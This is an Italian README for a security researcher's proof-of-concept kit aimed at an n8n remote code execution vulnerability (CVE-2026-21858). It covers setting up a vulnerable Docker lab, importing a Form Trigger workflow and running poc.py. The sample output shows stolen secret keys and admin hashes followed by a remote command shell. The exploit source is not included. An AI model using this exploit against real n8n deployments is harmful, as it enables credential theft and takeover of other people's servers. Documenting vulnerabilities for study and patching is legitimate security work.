CVE-2026-21858 RCE

Ambiente PoC per n8n 1.120.4 con un workflow Form Trigger e uno script di exploit.

Requisiti

• Docker (Docker Desktop su Windows)
• Python 3.x (lato attaccante)

File

• Dockerfile — crea l'ambiente vulnerabile n8n
• run.bat — esegue il contenitore (Windows)
• workflow.txt — workflow n8n (include Form Trigger)
• poc.py — script PoC
• requirements.txt — dipendenze PoC

Configurazione dell'ambiente

1. Crea l'immagine Docker

docker build -t n8n-vuln:1.120.4 .

2. Esegui l'ambiente (Windows)

run.bat

3. Configurazione di n8n

1. Apri n8n nel browser
2. Accedi come admin
3. Crea un nuovo workflow
4. incolla workflow.txt
5. Attiva il workflow
6. Copia l'URL del Form Trigger

Prova di concetto (PoC)

1. Installa le dipendenze (lato attaccante)

pip3 install -r requirements.txt

2. Esegui l'exploit

python3 poc.py

• Incolla l'URL del Form Trigger quando richiesto.

Risultato previsto

• Il PoC estrae asset sensibili di n8n (es. FINAL_SECRET_KEY, identificatori admin) dal target.
• Viene fornito un prompt interattivo (n8n-shell>).
• Eseguendo un comando (es. id) si ottiene l'output dall'ambiente target (RCE).

Output di esempio

[+] Successo: SECRET_KEY = "..."
[+] Successo: admin_id = "..."
[+] Successo: admin_hash = "..."

=== n8n Shell Pronta ===
n8n-shell> id

[!] Risultato di 'id':
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

EQST Insight

Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst